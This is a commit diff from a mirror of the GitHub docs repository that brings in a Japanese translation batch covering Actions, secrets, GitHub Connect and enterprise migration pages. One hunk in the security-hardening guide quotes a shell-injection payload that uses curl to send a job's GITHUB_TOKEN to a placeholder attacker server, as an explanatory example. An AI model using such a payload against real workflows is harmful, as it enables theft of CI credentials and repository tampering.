1
0
mirror of synced 2026-01-06 15:01:04 -05:00

New translation batch for ja (#32549)

This commit is contained in:
docubot
2022-11-11 08:50:07 -08:00
committed by GitHub
parent bcfd944c60
commit f618570af2
201 changed files with 3200 additions and 3259 deletions

View File

@@ -10,12 +10,12 @@ type: tutorial
topics:
- CI
shortTitle: Build & test Go
ms.openlocfilehash: 64e0c8acfa23436903b510a47cd1b43f55274f5f
ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
ms.openlocfilehash: 590edc2af0b7f370e52b449f320bdc2a758450bc
ms.sourcegitcommit: 2e1852bcdd690cb66b9b5d69cb056a2bb2b9a6b4
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/12/2022
ms.locfileid: '147080065'
ms.lasthandoff: 11/10/2022
ms.locfileid: '148160860'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
@@ -122,8 +122,8 @@ jobs:
- name: Install dependencies
run: |
go get .
go get example.lab/octo-examplemodule
go get example.lab/octo-examplemodule@v1.3.4
go get example.com/octo-examplemodule
go get example.com/octo-examplemodule@v1.3.4
```
{% ifversion actions-caching %}

View File

@@ -1,18 +1,19 @@
---
title: ワークフローの成果物をダウンロードする
intro: アーカイブされた成果物は、自動的に有効期限切れになる前にダウンロードできます。
permissions: 'People who are signed into {% data variables.product.product_name %} and have read access to a repository can download workflow artifacts.'
versions:
fpt: '*'
ghes: '*'
ghae: '*'
ghec: '*'
shortTitle: Download workflow artifacts
ms.openlocfilehash: 71e00a13769b696b47864d53d702770fb4f2b47a
ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
ms.openlocfilehash: dcb2d97095f6cdd704207084b776db05a4d1bd44
ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/11/2022
ms.locfileid: '145117189'
ms.lasthandoff: 11/10/2022
ms.locfileid: '148160633'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
@@ -39,25 +40,25 @@ ms.locfileid: '145117189'
ワークフローの実行によって生成されたすべての成果物をダウンロードするには、`run download` サブコマンドを使用します。 `run-id` を、成果物のダウンロード元の実行の ID に置き換えます。 `run-id` を指定しない場合、{% data variables.product.prodname_cli %} は、最近の実行を選択するためのインタラクティブ メニューを返します。
```shell
gh run download <em>run-id</em>
gh run download RUN_ID
```
実行から特定の成果物をダウンロードするには、`run download` サブコマンドを使用します。 `run-id` を、成果物のダウンロード元の実行の ID に置き換えます。 `artifact-name` を、ダウンロードする成果物の名前に置き換えます。
```shell
gh run download <em>run-id</em> -n <em>artifact-name</em>
gh run download RUN_ID -n ARTIFACT_NAME
```
複数の成果物を指定できます。
```shell
gh run download <em>run-id</em> -n <em>artifact-name-1</em> -n <em>artifact-name-2</em>
gh run download RUN_ID> -n ARTIFACT_NAME-1 -n ARTIFACT_NAME-2
```
リポジトリ内のすべての実行に対して特定の成果物をダウンロードするには、`run download` サブコマンドを使用します。
```shell
gh run download -n <em>artifact-name-1</em> -n <em>artifact-name-2</em>
gh run download -n ARTIFACT_NAME-1 ARTIFACT_NAME-2
```
{% endcli %}

View File

@@ -1,6 +1,6 @@
---
title: GitHub Actionsへの移行
shortTitle: Migrating to GitHub Actions
shortTitle: Migrate to GitHub Actions
intro: '既存の CI/CD ワークフローを {% data variables.product.prodname_actions %} に移行する方法について学びます。'
versions:
fpt: '*'
@@ -11,16 +11,17 @@ redirect_from:
- /actions/migrating-to-github-actions
- /articles/migrating-github-actions-from-hcl-syntax-to-yaml-syntax
children:
- /automating-migration-with-github-actions-importer
- /migrating-from-azure-pipelines-to-github-actions
- /migrating-from-circleci-to-github-actions
- /migrating-from-gitlab-cicd-to-github-actions
- /migrating-from-jenkins-to-github-actions
- /migrating-from-travis-ci-to-github-actions
ms.openlocfilehash: 52a72e144da3ccd9f87f366deb2e9181e7474507
ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
ms.openlocfilehash: b3964e3e477a61052b241dfb3d2d02ebecbf96c5
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/10/2022
ms.locfileid: '147880638'
ms.lasthandoff: 11/09/2022
ms.locfileid: '148158934'
---

View File

@@ -213,7 +213,15 @@ You can check which access policies are being applied to a secret in your organi
{% note %}
**Note:** {% data reusables.actions.forked-secrets %}
**Notes:**
* {% data reusables.actions.forked-secrets %}
{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
* Secrets are not automatically passed to reusable workflows. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows#passing-inputs-and-secrets-to-a-reusable-workflow)."
{% endif %}
{% endnote %}

View File

@@ -149,7 +149,7 @@ With this approach, the value of the {% raw %}`${{ github.event.issue.title }}`{
### Using starter workflows for code scanning
{% data reusables.advanced-security.starter-workflows-beta %}
{% data variables.product.prodname_code_scanning_capc %} allows you to find security vulnerabilities before they reach production. {% data variables.product.product_name %} provides starter workflows for {% data variables.product.prodname_code_scanning %}. You can use these suggested workflows to construct your {% data variables.product.prodname_code_scanning %} workflows, instead of starting from scratch. {% data variables.product.company_short%}'s workflow, the {% data variables.product.prodname_codeql_workflow %}, is powered by {% data variables.product.prodname_codeql %}. There are also third-party starter workflows available.
{% data variables.product.prodname_code_scanning_capc %} allows you to find security vulnerabilities before they reach production. {% data variables.product.product_name %} provides starter workflows for {% data variables.product.prodname_code_scanning %}. You can use these suggested workflows to construct your {% data variables.product.prodname_code_scanning %} workflows, instead of starting from scratch. {% data variables.product.company_short%}'s workflow, the {% data variables.code-scanning.codeql_workflow %}, is powered by {% data variables.product.prodname_codeql %}. There are also third-party starter workflows available.
For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning)" and "[Setting up {% data variables.product.prodname_code_scanning %} using starter workflows](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)."
@@ -245,7 +245,7 @@ An attacker can exfiltrate any stolen secrets or other data from the runner. To
### Stealing the job's `GITHUB_TOKEN`
It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#`.
It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#`.
### Modifying the contents of a repository

View File

@@ -16,12 +16,12 @@ versions:
ghes: '*'
ghae: '*'
ghec: '*'
ms.openlocfilehash: 3af7dce198afcb851c228fa3fc4ad5f01f77ed60
ms.sourcegitcommit: bf11c3e08cbb5eab6320e0de35b32ade6d863c03
ms.openlocfilehash: b34a96bb62a885031584f3da017fd86b7469a277
ms.sourcegitcommit: 2e1852bcdd690cb66b9b5d69cb056a2bb2b9a6b4
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 10/27/2022
ms.locfileid: '148111554'
ms.lasthandoff: 11/10/2022
ms.locfileid: '148160833'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
@@ -698,7 +698,7 @@ steps:
id: step_one
run: |
echo 'JSON_RESPONSE<<EOF' >> $GITHUB_ENV
curl https://example.lab >> $GITHUB_ENV
curl https://example.com >> $GITHUB_ENV
echo 'EOF' >> $GITHUB_ENV
```
@@ -712,7 +712,7 @@ steps:
id: step_one
run: |
"JSON_RESPONSE<<EOF" >> $env:GITHUB_ENV
(Invoke-WebRequest -Uri "https://example.lab").Content >> $env:GITHUB_ENV
(Invoke-WebRequest -Uri "https://example.com").Content >> $env:GITHUB_ENV
"EOF" >> $env:GITHUB_ENV
shell: pwsh
```

View File

@@ -86,12 +86,12 @@ The {% data variables.product.prodname_codeql_cli %} is a command-line tool that
{% ifversion codeql-runner-supported %}
## Running {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_runner %}
## Running {% data variables.product.prodname_code_scanning %} using the {% data variables.code-scanning.codeql_runner %}
{% data reusables.code-scanning.deprecation-codeql-runner %}
If you don't want to use {% data variables.product.prodname_actions %}, you can run {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_runner %}.
If you don't want to use {% data variables.product.prodname_actions %}, you can run {% data variables.product.prodname_code_scanning %} using the {% data variables.code-scanning.codeql_runner %}.
The {% data variables.product.prodname_codeql_runner %} is a command-line tool that you can add to your third-party CI/CD system. The tool runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. For more information, see "[Running {% data variables.product.prodname_code_scanning %} in your CI system](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)."
The {% data variables.code-scanning.codeql_runner %} is a command-line tool that you can add to your third-party CI/CD system. The tool runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. For more information, see "[Running {% data variables.product.prodname_code_scanning %} in your CI system](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)."
{% endif %}

View File

@@ -19,7 +19,7 @@ miniTocMaxHeadingLevel: 3
Enabling {% data variables.product.prodname_github_connect %} will not allow {% data variables.product.prodname_dotcom_the_website %} users to make changes to {% data variables.product.product_name %}.
To enable {% data variables.product.prodname_github_connect %}, you configure a connection between {% data variables.location.product_location %} and an organization or enterprise account on {% data variables.product.prodname_dotcom_the_website %} that uses {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Managing {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect)."
To enable {% data variables.product.prodname_github_connect %}, you configure a connection between {% data variables.location.product_location %} and an organization or enterprise account on {% data variables.product.prodname_dotcom_the_website %} that uses {% data variables.product.prodname_ghe_cloud %}. {% data reusables.github-connect.connection-port-protocol %} For more information, see "[Managing {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect)."
After enabling {% data variables.product.prodname_github_connect %}, you will be able to enable features such as {% ifversion ghes %}automatic user license sync and {% endif %}{% data variables.product.prodname_dependabot_alerts %}. For more information about all of the features available, see "[{% data variables.product.prodname_github_connect %} features](#github-connect-features)."

View File

@@ -28,7 +28,9 @@ topics:
You can access additional features and workflows on {% data variables.location.product_location %} by enabling {% data variables.product.prodname_github_connect %}. For more information, see "[About {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect)."
When you enable {% data variables.product.prodname_github_connect %}, you configure a connection between {% data variables.location.product_location %} and an organization or enterprise account on {% data variables.product.prodname_ghe_cloud %}. Enabling {% data variables.product.prodname_github_connect %} creates a {% data variables.product.prodname_github_app %} owned by the organization or enterprise account on {% data variables.product.prodname_ghe_cloud %}. {% data variables.product.product_name %} uses the {% data variables.product.prodname_github_app %}'s credentials to make requests to {% data variables.product.prodname_ghe_cloud %}.
When you enable {% data variables.product.prodname_github_connect %}, you configure a connection between {% data variables.location.product_location %} and an organization or enterprise account on {% data variables.product.prodname_ghe_cloud %}. {% data reusables.github-connect.connection-port-protocol %}
Enabling {% data variables.product.prodname_github_connect %} creates a {% data variables.product.prodname_github_app %} owned by the organization or enterprise account on {% data variables.product.prodname_ghe_cloud %}. {% data variables.product.product_name %} uses the {% data variables.product.prodname_github_app %}'s credentials to make requests to {% data variables.product.prodname_ghe_cloud %}.
{% ifversion ghes %}
{% data variables.product.prodname_ghe_server %} stores credentials from the {% data variables.product.prodname_github_app %}. The following credentials will be replicated to all nodes in a high availability or cluster environment, and stored in any backups, including snapshots created by {% data variables.product.prodname_enterprise_backup_utilities %}.

View File

@@ -63,6 +63,10 @@ Email ports must be accessible directly or via relay for inbound email support f
If you enable automatic access to {% data variables.product.prodname_dotcom_the_website %} actions, {% data variables.product.prodname_actions %} will always search for an action on {% data variables.location.product_location %} first, via these ports, before checking {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#about-resolution-for-actions-using-github-connect)."
## {% data variables.product.prodname_github_connect %} ports
If you enable {% data variables.product.prodname_github_connect %}, the connection between {% data variables.product.product_name %} and {% data variables.product.prodname_dotcom_the_website %} uses HTTPS over ports 443 or 80, and TLS is required. For more information, see "[About {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect)."
## Further reading
- "[Configuring TLS](/admin/configuration/configuring-network-settings/configuring-tls)"

View File

@@ -24,7 +24,7 @@ topics:
| Automatically and securely package code into artifacts and containers | "[About packaging with {% data variables.product.prodname_actions %}](/actions/publishing-packages/about-packaging-with-github-actions)" |
| Automate your project management tasks | "[Using {% data variables.product.prodname_actions %} for project management](/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management)" |
{% data variables.product.prodname_actions %} helps your team work faster at scale. When large repositories start using {% data variables.product.prodname_actions %}, teams merge significantly more pull requests per day, and the pull requests are merged significantly faster. For more information, see "[Writing and shipping code faster](https://octoverse.github.com/writing-code-faster/#scale-through-automation)" in the State of the Octoverse.
{% data variables.product.prodname_actions %} helps your team work faster at scale. When large repositories start using {% data variables.product.prodname_actions %}, teams merge significantly more pull requests per day, and the pull requests are merged significantly faster. For more information, see "[Writing and shipping code faster](https://octoverse.github.com/2021/writing-code-faster/#scale-through-automation)" in the State of the Octoverse.
You can create your own unique automations, or you can use and adapt workflows from our ecosystem of over 10,000 actions built by industry leaders and the open source community. {% ifversion ghec %}For more information, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)."{% else %}You can restrict your developers to using actions that exist on {% data variables.location.product_location %}, or you can allow your developers to access actions on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[About using actions in your enterprise](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise)."{% endif %}

View File

@@ -1,7 +1,7 @@
---
title: GitHub Actions への Enterprise の移行
title: Migrating your enterprise to GitHub Actions
shortTitle: Migrate to Actions
intro: '別のプロバイダーから Enterprise の {% data variables.product.prodname_actions %} への移行を計画する方法について学びます。'
intro: 'Learn how to plan a migration to {% data variables.product.prodname_actions %} for your enterprise from another provider.'
versions:
ghec: '*'
ghes: '*'
@@ -10,83 +10,78 @@ type: how_to
topics:
- Actions
- Enterprise
ms.openlocfilehash: db41434eae8bd3cf9036510705ee996f365f3fa1
ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/11/2022
ms.locfileid: '145116686'
---
## {% data variables.product.prodname_actions %} への Enterprise の移行について
既存のシステムから {% data variables.product.prodname_actions %} に Enterprise を移行するために、移行を計画し、移行を完了し、既存のシステムを廃止します。
## About enterprise migrations to {% data variables.product.prodname_actions %}
このガイドでは、移行に関する具体的な考慮事項について説明します。 {% data variables.product.prodname_actions %} を Enterprise に導入する方法の詳細については、「[Enterprise への {% data variables.product.prodname_actions %} の導入](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise)」を参照してください。
To migrate your enterprise to {% data variables.product.prodname_actions %} from an existing system, you can plan the migration, complete the migration, and retire existing systems.
## 移行を計画する
This guide addresses specific considerations for migrations. For additional information about introducing {% data variables.product.prodname_actions %} to your enterprise, see "[Introducing {% data variables.product.prodname_actions %} to your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise)."
Enterprise を {% data variables.product.prodname_actions %} に移行する前に、移行するワークフローとその移行がチームにどのように影響するかを特定し、移行を完了する方法とタイミングを計画する必要があります。
## Planning your migration
### 移行スペシャリストの活用
Before you begin migrating your enterprise to {% data variables.product.prodname_actions %}, you should identify which workflows will be migrated and how those migrations will affect your teams, then plan how and when you will complete the migrations.
{% data variables.product.company_short %} が移行に役立つ場合があります。また、{% data variables.product.prodname_professional_services %} を購入する利点が得られる場合もあります。 詳細については、専任の担当者または {% data variables.contact.contact_enterprise_sales %} にお問い合わせください。
### Leveraging migration specialists
### 移行ターゲットの特定とインベントリ作成
{% data variables.product.company_short %} can help with your migration, and you may also benefit from purchasing {% data variables.product.prodname_professional_services %}. For more information, contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %}.
{% data variables.product.prodname_actions %} に移行する前に、既存のシステムで Enterprise によって使用されているワークフローを完全に理解しておく必要があります。
### Identifying and inventorying migration targets
まず、Enterprise 内の既存のビルドおよびリリース ワークフローのインベントリを作成し、どのワークフローがアクティブに使用されていて移行する必要があるかと、取り残されている可能性があるのはどれかに関する情報を収集します。
Before you can migrate to {% data variables.product.prodname_actions %}, you need to have a complete understanding of the workflows being used by your enterprise in your existing system.
次に、現在のプロバイダーと {% data variables.product.prodname_actions %} の違いを確認します。 これは、各ワークフローの移行に関する問題や、Enterprise で機能の違いが生じる可能性がある場所を評価するのに役立ちます。 詳細については、「[{% data variables.product.prodname_actions %} への移行](/actions/migrating-to-github-actions)」を参照してください。
First, create an inventory of the existing build and release workflows within your enterprise, gathering information about which workflows are being actively used and need to migrated and which can be left behind.
この情報を使用すると、{% data variables.product.prodname_actions %} への移行が可能で必要であるワークフローを判断できます。
Next, learn the differences between your current provider and {% data variables.product.prodname_actions %}. This will help you assess any difficulties in migrating each workflow, and where your enterprise might experience differences in features. For more information, see "[Migrating to {% data variables.product.prodname_actions %}](/actions/migrating-to-github-actions)."
### 移行によるチームへの影響を特定する
With this information, you'll be able to determine which workflows you can and want to migrate to {% data variables.product.prodname_actions %}.
Enterprise 内で使用されているツールを変更すると、チームの作業に影響します。 既存のシステムから {% data variables.product.prodname_actions %} にワークフローを移行すると、開発者の日常業務にどのような影響を与えるかを考える必要があります。
### Determine team impacts from migrations
移行の影響を受けるプロセス、統合、サード パーティ製のツールを特定し、行う必要がある更新の計画を立てます。
When you change the tools being used within your enterprise, you influence how your team works. You'll need to consider how moving a workflow from your existing systems to {% data variables.product.prodname_actions %} will affect your developers' day-to-day work.
移行がコンプライアンスに関する問題にどのように影響するかを考えます。 たとえば、既存の資格情報スキャンとセキュリティ分析ツールは {% data variables.product.prodname_actions %} で動作しますか? それとも、新しいツールを使用する必要がありますか?
Identify any processes, integrations, and third-party tools that will be affected by your migration, and make a plan for any updates you'll need to make.
既存のシステムのゲートとチェックを特定し、{% data variables.product.prodname_actions %} で実装できることを確認します。
Consider how the migration may affect your compliance concerns. For example, will your existing credential scanning and security analysis tools work with {% data variables.product.prodname_actions %}, or will you need to use new tools?
### 移行ツールの特定と検証
Identify the gates and checks in your existing system and verify that you can implement them with {% data variables.product.prodname_actions %}.
自動移行ツールを使用すると、Enterprise のワークフローを既存のシステムの構文から、{% data variables.product.prodname_actions %} で必要な構文に変換できます。 サードパーティ製のツールを特定するか、専任の担当者または {% data variables.contact.contact_enterprise_sales %} に問い合わせて、{% data variables.product.company_short %} が提供できるツールについて確認します。
### Identifying and validating migration tools
移行を自動化するツールを特定した後、一部のテスト ワークフローでツールを実行し、結果が期待どおりであることを確認することで、ツールを検証します。
Automated migration tools can translate your enterprise's workflows from the existing system's syntax to the syntax required by {% data variables.product.prodname_actions %}. Identify third-party tooling or contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %} to ask about tools that {% data variables.product.company_short %} can provide. For example, you can use the {% data variables.product.prodname_actions_importer %} to plan, scope, and migrate your CI pipelines to {% data variables.product.prodname_actions %} from various supported services. For more information, see "[Automating migration with {% data variables.product.prodname_actions_importer %}](/actions/migrating-to-github-actions/automating-migration-with-github-actions-importer)."
自動化されたツールではほとんどのワークフローを移行できるはずですが、少なくともごく一部は手動で書き換える必要がある可能性があります。 完了する必要がある手動の作業量を見積もります。
After you've identified a tool to automate your migrations, validate the tool by running the tool on some test workflows and verifying that the results are as expected.
### 移行アプローチの決定
Automated tooling should be able to migrate the majority of your workflows, but you'll likely need to manually rewrite at least a small percentage. Estimate the amount of manual work you'll need to complete.
Enterprise に最適な移行アプローチを決定します。 小規模なチームでは、"完全な置き換え" アプローチを使用して、すべてのワークフローを一度に移行できる場合があります。 大規模な Enterprise では、反復的なアプローチの方がより現実的な場合があります。 移行全体を中央で管理することも、個々のチームに独自のワークフローを移行してセルフ サービスを依頼することもできます。
### Deciding on a migration approach
アクティブな管理とセルフ サービスを組み合わせた反復的なアプローチをお勧めします。 内部チャンピオンとしての役割を果たせる早期導入者の小規模なグループから始めます。 ビジネスの幅を表すのに十分に包括的な一部のワークフローを特定します。 早期導入者と協力して、これらのワークフローを {% data variables.product.prodname_actions %} に移行し、必要に応じて反復処理します。 これにより、他のチームもワークフローを移行できることを確信できます。
Determine the migration approach that will work best for your enterprise. Smaller teams may be able to migrate all their workflows at once, with a "rip-and-replace" approach. For larger enterprises, an iterative approach may be more realistic. You can choose to have a central body manage the entire migration or you can ask individual teams to self serve by migrating their own workflows.
その後、より大規模な Organization で {% data variables.product.prodname_actions %} を使用できるようにします。 これらのチームが独自のワークフローを {% data variables.product.prodname_actions %} に移行するのに役立つリソースを提供し、既存のシステムが廃止されるタイミングをチームに知らせます。
We recommend an iterative approach that combines active management with self service. Start with a small group of early adopters that can act as your internal champions. Identify a handful of workflows that are comprehensive enough to represent the breadth of your business. Work with your early adopters to migrate those workflows to {% data variables.product.prodname_actions %}, iterating as needed. This will give other teams confidence that their workflows can be migrated, too.
最後に、特定の期間内に移行を完了するために古いシステムをまだ使用しているチームに知らせます。 他のチームの成功を示し、移行が可能で望ましいことを伝えて安心させます。
Then, make {% data variables.product.prodname_actions %} available to your larger organization. Provide resources to help these teams migrate their own workflows to {% data variables.product.prodname_actions %}, and inform the teams when the existing systems will be retired.
### 移行スケジュールの定義
Finally, inform any teams that are still using your old systems to complete their migrations within a specific timeframe. You can point to the successes of other teams to reassure them that migration is possible and desirable.
移行アプローチを決定した後、各チームがワークフローを {% data variables.product.prodname_actions %} に移行するタイミングを示すスケジュールを作成します。
### Defining your migration schedule
まず、移行を完了する日付を決定します。 たとえば、現在のプロバイダーとの契約が終了するまでに移行を完了することを計画できます。
After you decide on a migration approach, build a schedule that outlines when each of your teams will migrate their workflows to {% data variables.product.prodname_actions %}.
その後、チームと協力して、チームの目標を犠牲にすることなく、期限に間に合うスケジュールを作成します。 移行を求める個々のチームのビジネスの周期とワークロードを確認します。 各チームと連携して、配信スケジュールを理解し、チームが配信能力に影響を与えない時間帯にワークフローを移行できるようにする計画を作成します。
First, decide the date you'd like your migration to be complete. For example, you can plan to complete your migration by the time your contract with your current provider ends.
## {% data variables.product.prodname_actions %} への移行
Then, work with your teams to create a schedule that meets your deadline without sacrificing their team goals. Look at your business's cadence and the workload of each individual team you're asking to migrate. Coordinate with each team to understand their delivery schedules and create a plan that allows the team to migrate their workflows at a time that won't impact their ability to deliver.
移行を開始する準備ができたら、上記で計画した自動ツールと手動書き換えを使用して、既存のワークフローを {% data variables.product.prodname_actions %} に変換します。
## Migrating to {% data variables.product.prodname_actions %}
また、おそらく成果物をアーカイブするスクリプト化されたプロセスを記述することで、既存のシステムからの古いビルド成果物を維持することもできます。
When you're ready to start your migration, translate your existing workflows to {% data variables.product.prodname_actions %} using the automated tooling and manual rewriting you planned for above.
## 既存のシステムの廃止
You may also want to maintain old build artifacts from your existing system, perhaps by writing a scripted process to archive the artifacts.
移行が完了した後、既存のシステムの廃止について考えることができます。
## Retiring existing systems
一定期間、両方のシステムをサイド バイ サイドで実行しながら、{% data variables.product.prodname_actions %} 構成が安定しており、開発者のエクスペリエンスを低下させていないことを確認できます。
After your migration is complete, you can think about retiring your existing system.
最終的に、古いシステムの使用を停止して切り離し、確実に Enterprise 内の誰も古いシステムを再び有効にできないようにします。
You may want to run both systems side-by-side for some period of time, while you verify that your {% data variables.product.prodname_actions %} configuration is stable, with no degradation of experience for developers.
Eventually, decommission and shut off the old systems, and ensure that no one within your enterprise can turn the old systems back on.

View File

@@ -1,7 +1,7 @@
---
title: '{% data variables.product.prodname_emus %} について'
title: About {% data variables.product.prodname_emus %}
shortTitle: About managed users
intro: 'ID プロバイダーから {% data variables.product.prodname_dotcom %} 上のエンタープライズ メンバーの ID とアクセスを一元管理することができます。'
intro: 'You can centrally manage identity and access for your enterprise members on {% data variables.product.prodname_dotcom %} from your identity provider.'
redirect_from:
- /early-access/github/articles/get-started-with-managed-users-for-your-enterprise
- /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users
@@ -17,55 +17,50 @@ topics:
- Enterprise
- SSO
allowTitleToDifferFromFilename: true
ms.openlocfilehash: 371a6998976fdb8ff87017866319912b28dc8ce6
ms.sourcegitcommit: ec712c0fd32e7fe2f74c2b6d5da95f700dfd8111
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 10/25/2022
ms.locfileid: '148110370'
---
## {% data variables.product.prodname_emus %} について
{% data variables.product.prodname_emus %} を使用すると、ID プロバイダー (IdP) を使用して Enterprise メンバーのユーザー アカウントを制御できます。 IdP で {% data variables.product.prodname_emu_idp_application %} アプリケーションに割り当てられたユーザーは、{% data variables.product.prodname_dotcom %} の新しいユーザー アカウントとしてプロビジョニングされ、Enterprise に追加されます。 IdP からユーザー アカウントのユーザー名、プロファイル データ、チーム メンバーシップ、リポジトリへのアクセスを制御します。
## About {% data variables.product.prodname_emus %}
IdP では、各{% data variables.enterprise.prodname_managed_user %}に、ユーザー、Enterprise 所有者、または課金マネージャーのロールを付与できます。 {% data variables.enterprise.prodname_managed_users_caps %}は、Enterprise 内の Organization を所有でき、他の{% data variables.enterprise.prodname_managed_users %}を Organization とその中の Team に追加できます。 詳細については、「[Enterprise におけるロール](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)」および「[Organization について](/organizations/collaborating-with-groups-in-organizations/about-organizations)」を参照してください。
With {% data variables.product.prodname_emus %}, you can control the user accounts of your enterprise members through your identity provider (IdP). Users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your IdP are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} and added to your enterprise. You control usernames, profile data, team membership, and repository access for the user accounts from your IdP.
In your IdP, you can give each {% data variables.enterprise.prodname_managed_user %} the role of user, enterprise owner, or billing manager. {% data variables.enterprise.prodname_managed_users_caps %} can own organizations within your enterprise and can add other {% data variables.enterprise.prodname_managed_users %} to the organizations and teams within. For more information, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)" and "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)."
{% ifversion oidc-for-emu %}
{% data reusables.enterprise-accounts.emu-cap-validates %}詳細については、「[IdP の条件付きアクセス ポリシー](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy)」を参照してください。
{% data reusables.enterprise-accounts.emu-cap-validates %} For more information, see "[About support for your IdP's Conditional Access Policy](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy)."
{% endif %}
{% data variables.enterprise.prodname_managed_users %}に、Enterprise 内のリポジトリへのアクセス権と、そこに投稿する機能を付与できますが、{% data variables.enterprise.prodname_managed_users %}では、パブリック コンテンツを作成したり、残りの {% data variables.product.prodname_dotcom %} で他のユーザー、Organization、Enterprise と共同作業を行ったりすることはできません。 詳しい情報については、「[{% data variables.enterprise.prodname_managed_users %}の機能と制限](#abilities-and-restrictions-of-enterprise-managed-users)」を参照してください。
You can grant {% data variables.enterprise.prodname_managed_users %} access to and the ability to contribute to repositories within your enterprise, but {% data variables.enterprise.prodname_managed_users %} cannot create public content or collaborate with other users, organizations, and enterprises on the rest of {% data variables.product.prodname_dotcom %}. For more information, see "[Abilities and restrictions of {% data variables.enterprise.prodname_managed_users %}](#abilities-and-restrictions-of-enterprise-managed-users)."
Enterprise {% data variables.enterprise.prodname_managed_users %}のユーザー名とそのプロファイル情報 (表示名やメール アドレスなど) は、IdP によって設定され、ユーザー自身が変更することはできません。 詳細については、「[ユーザー名とプロファイル情報](#usernames-and-profile-information)」を参照してください。
The usernames of your enterprise's {% data variables.enterprise.prodname_managed_users %} and their profile information, such as display names and email addresses, are set by through your IdP and cannot be changed by the users themselves. For more information, see "[Usernames and profile information](#usernames-and-profile-information)."
Enterprise 所有者は、{% data variables.product.prodname_dotcom %} に対する{% data variables.enterprise.prodname_managed_users %}のすべてのアクションを監査できます。 詳細については、「[エンタープライズの監査ログ イベント](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#about-audit-log-events-for-your-enterprise)」を参照してください。
Enterprise owners can audit all of the {% data variables.enterprise.prodname_managed_users %}' actions on {% data variables.product.prodname_dotcom %}. For more information, see "[Audit log events for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#about-audit-log-events-for-your-enterprise)."
